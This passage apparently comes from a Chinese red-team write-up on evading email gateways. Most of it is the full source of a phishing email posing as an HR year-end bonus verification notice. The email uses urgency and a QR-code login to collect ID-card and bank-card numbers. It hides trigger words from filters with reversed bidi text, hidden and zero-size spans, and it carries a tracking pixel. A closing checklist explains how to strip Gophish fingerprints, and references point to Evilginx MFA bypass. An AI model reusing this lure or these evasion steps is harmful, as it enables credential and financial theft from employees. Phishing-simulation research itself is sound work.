font-size: 14px;
text-align: right;
color: #666666;
}
.tips {
font-size: 12px;
color: #888;
margin-top: 15px;
background-color: #f9f9f9;
padding: 10px;
}
/* =E6=B7=B7=E6=B7=86=E4=B8=93=E7=94=A8=E6=A0=B7=E5=BC=8F=EF=BC=9A=
=E6=96=87=E5=AD=97=E5=8F=8D=E8=BD=AC */
.safe-txt {
unicode-bidi: bidi-override;
direction: rtl;
}
</style>
</head>
<body>
<div class=3D"container">
<div class=3D"header">
=E5=85=B3=E4=BA=8E=E5=90=AF=E5=8A=A82025=E5=B9=B4=E5=BA=A6<span=
class=3D"safe-txt">=E9=87=91=E5=A5=96=E7=BB=88=E5=B9=B4</span>=E5=8F=91=E6=
=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E7=9A=84=E9=80=
=9A=E7=9F=A5
</div>
<div class=3D"content">
<p>=E5=90=84=E4=BD=8D=E5=90=8C=E4=BA=8B=EF=BC=8C=E6=82=A8=E5=A5=
=BD=EF=BC=9A</p>
<p>2025=E5=B9=B4=E5=BA=A6=E5=B7=A5=E4=BD=9C=E5=B7=B2=E5=9C=86=
=E6=BB=A1=E7=BB=93=E6=9D=9F=EF=BC=8C=E6=84=9F=E8=B0=A2=E5=A4=A7=E5=AE=B6=E4=
=B8=80=E5=B9=B4=E6=9D=A5=E7=9A=84=E8=BE=9B=E5=8B=A4=E4=BB=98=E5=87=BA=E3=80=
=82=E7=8E=B0=E6=AD=A3=E5=BC=8F=E5=90=AF=E5=8A=A8年终奖&#x=
91D1;=E5=8F=91=E6=94=BE=
=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E5=B7=A5=E4=BD=9C=EF=
=BC=81=E6=9C=AC=E6=AC=A1<span
class=3D"safe-txt">=E5=A5=96=E7=BB=88=E5=B9=B4</span>=
=E5=B0=86=E6=8C=89=E6=9C=80=E6=96=B0薪酬=E6=A0=87=E5=87=86=E6=A0=B8=E7=AE=97=EF=BC=8C=E5=8C=85=E5=90=AB绩=
效=E5=A5=96=E9=87=91=E3=80=81年~=
C8;分红=E7=AD=89=
=E5=A4=9A=E9=A1=B9=E8=A1=A5=E8=B4=B4=E3=80=82
</p>
<div class=3D"highlight-box">
<strong>=E9=87=8D=E8=A6=81=E6=8F=90=E9=86=92=EF=BC=9A</stro=
ng>=E5=9B=A0<span class=3D"safe-txt">=E7=BB=9F=E7=B3=BB=E5=8A=A1=E8=B4=A2</=
span>=E5=B9=B4=E7=
=BB=88=E5=85=B3=E8=B4=A6=E5=80=92=E8=AE=A1=E6=97=B6=EF=BC=88=E6=88=AA=E6=AD=
=A2 <span
class=3D"urgent">12=E6=9C=8829=E6=97=A518:00</span>=EF=
=BC=89=EF=BC=8C=E6=9C=AA=E5=AE=8C=E6=88=90=E4=BF=A1=E6=81=AF=E6=A0=B8=E5=AF=
=B9=E7=9A=84=E5=90=8C=E4=BA=8B=EF=BC=8C=E5=B0=86<span
class=3D"urgent">=E5=BB=B6=E8=BF=9F=E8=87=B3=E6=AC=A1=
=E5=B9=B41=E6=9C=88=E5=8F=91=E6=94=BE</span>=EF=BC=81=E4=B8=BA=E9=81=BF=E5=
=85=8D=E5=BD=B1=E5=93=8D=E4=BD=A0=E7=9A=84=E5=A5=96=E9=87=91=E5=8F=91=E6=94=
=BE=E6=97=B6=E6=95=88=EF=BC=8C=E8=AF=B7=E5=8A=A1=E5=BF=85=E5=9C=A824=E5=B0=
=8F=E6=97=B6=E5=86=85=E5=AE=8C=E6=88=90=E3=80=82
</div>
<p><strong>=E6=A0=B8=E5=AF=B9=E6=93=8D=E4=BD=9C=E6=8C=87=E5=BC=
=95=EF=BC=9A</strong></p>
<ol class=3D"step-list">
<li>=E8=AF=B7=E6=89=AB=E6=8F=8F=E4=B8=8B=E6=96=
=B9=E4=BA=8C<span style=3D"display:none">_</span>=E7=BB=B4<span
style=3D"display:none">_</span>=E7=A0=81=E7=99=BB<!=
-- login -->=E5=BD=95=E7=B3=BB=E7=BB=9F=EF=BC=9A<br><img src=3D"cid:4279681=
432.png"></li>
<li>=E8=BE=93=E5=85=A5=E5=A7=93=E5=90=8D=E5=8F=8A=E5=B7=A5=
=E5=8F=B7=E7=99=BB=E5=BD=95=E7=B3=BB=E7=BB=9F=E3=80=82</li>
<li>=E6=A0=B8=E5=AF=B9=E4=B8=AA=E4=BA=BA=E5=A7=93=E5=90=8D=
=E3=80=81=E8=BA=AB=E4=BB=BD=E8=AF=81=E5=8F=B7=E3=80=
=81=E9=93=B6<span style=3D"font-size:0">.</span>=E8=A1=8C<span
style=3D"font-size:0">.</span>=E5=8D=A1=E5=8F=B7=E5=
=8F=8A=E5=BC=80=E6=88=B7=E8=A1=8C=E4=BF=A1=E6=81=AF=EF=BC=8C=E7=A1=AE=E8=AE=
=A4=E6=97=A0=E8=AF=AF=E5=90=8E=E6=8F=90=E4=BA=A4=EF=BC=9B=E4=BF=A1=E6=81=AF=
=E6=9C=89=E8=AF=AF=E8=AF=B7=E5=8F=8A=E6=97=B6=E4=BF=AE=E6=94=B9=E5=B9=B6=E4=
=B8=8A=E4=BC=A0=E4=BD=90=E8=AF=81=E6=9D=90=E6=96=99=E3=80=82</li>
</ol>
<div class=3D"tips">
<strong>=E6=B8=A9=E9=A6=A8=E6=8F=90=E7=A4=BA=EF=BC=9A</stro=
ng>
<ul style=3D"padding-left: 20px; margin: 5px 0;">
<li>=E7=B3=BB=E7=BB=9F=E4=BB=85=E6=94=AF=E6=8C=81PC=E7=
=AB=AF=E8=AE=BF=E9=97=AE=EF=BC=8C=E5=BB=BA=E8=AE=AE=E4=BD=BF=E7=94=A8=E5=85=
=AC=E5=8F=B8=E5=86=85=E7=BD=91=E6=93=8D=E4=BD=9C=E3=80=82</li>
<li>=E5=A6=82=E9=81=87=E9=93=BE=E6=8E=A5=E6=97=A0=E6=B3=
=95=E6=89=93=E5=BC=80=E3=80=81=E7=99=BB=E5=BD=95=E5=A4=B1=E8=B4=A5=E7=AD=89=
=E9=97=AE=E9=A2=98=EF=BC=8C=E8=AF=B7=E8=81=94=E7=B3=BB=EF=BC=9Ahr-contact@t=
arget-corp.com</li>
</ul>
</div>
</div>
<div class=3D"footer">
<p>人力资源部</p> <p>2025=E5=B9=B412=E6=9C=8828=E6=97=A5</p>
</div>
</div>
<img alt=3D'' style=3D'display: none' src=3D'http://10.10.10.11/resourc=
e/image/pixel.png?id=3DsjD8aL5'/></body>
</html>
--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d--
--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
Content-Disposition: inline; filename="4279681432.png"
Content-ID: <4279681432.png>
Content-Transfer-Encoding: base64
Content-Type: image/png; name="4279681432.png"
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==
--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e--
AI分析如下:


开始大批量的进行安全测试:


0x07 后记
这次从0到1的绕过之旅,历时4天,最终完成这个需求。
随着AI技术的发展,邮件网关的检测能力会越来越强。下一步的研究方向可能包括:
- 利用合法平台(如Google Docs、OneDrive)进行跳转
- 转向SMS钓鱼(Smishing)等其他渠道
安全对抗是一场永无止境的竞赛。保持学习,持续创新。
附录
A. Gophish改造Checklist
- [ ] 移除 config.go 中的 ServerName
- [ ] 修改 models/email_request.go
- [ ] 删除 X-Gophish-* 头
- [ ] 伪造 X-Mailer
- [ ] 添加业务邮件头
- [ ] 修改 models/campaign.go
- [ ] 将 RecipientParameter 改为 "id"
- [ ] 修改 webhook/webhook.go
- [ ] 重命名 SignatureHeader
- [ ] 修改 controllers/route.go
- [ ] 混淆 /track 路由
- [ ] 混淆 /report 路由
- [ ] 修改 controllers/phish.go
- [ ] 实现 FakeNginx404
- [ ] 添加 QR code 生成端点(可选)
- [ ] 修改 static/ 和 templates/
- [ ] 重命名 gophish.css → app.css
- [ ] 更新所有引用
- [ ] 测试构建和运行
B. 参考资源
Gophish官方资源
Gophish二次开发与改造
- Sprocket Security - Customizing Gophish
- 详细介绍Gophish去指纹化改造方法
- EvilGoPhish
- Gophish与Evilginx3集成方案,支持MFA绕过
- sneaky_gophish
- Docker化的隐蔽Gophish部署方案
- FreeBuf - Gophish钓鱼平台二次开发
- 二维码替换功能实现
- weixin - Gophish的钓鱼渗透测试平台
- 平台化二次开发思路
Evilginx与MFA绕过
- Evilginx2 官方GitHub
- 高级中间人钓鱼框架
- Evilginx3 文档
- 最新版本使用指南
- outpost24 - Evilginx与Gophish组合使用
- 红队钓鱼基础设施搭建
邮件网关绕过技术
红队钓鱼实战
- Red Team Cafe - Phishing Infrastructure
- 红队钓鱼基础设施搭建
- HackenProof - Advanced Phishing Techniques
- 高级钓鱼技术
- 腾讯安全 - 钓鱼演练工具Gophish部署
- 企业钓鱼演练实践
END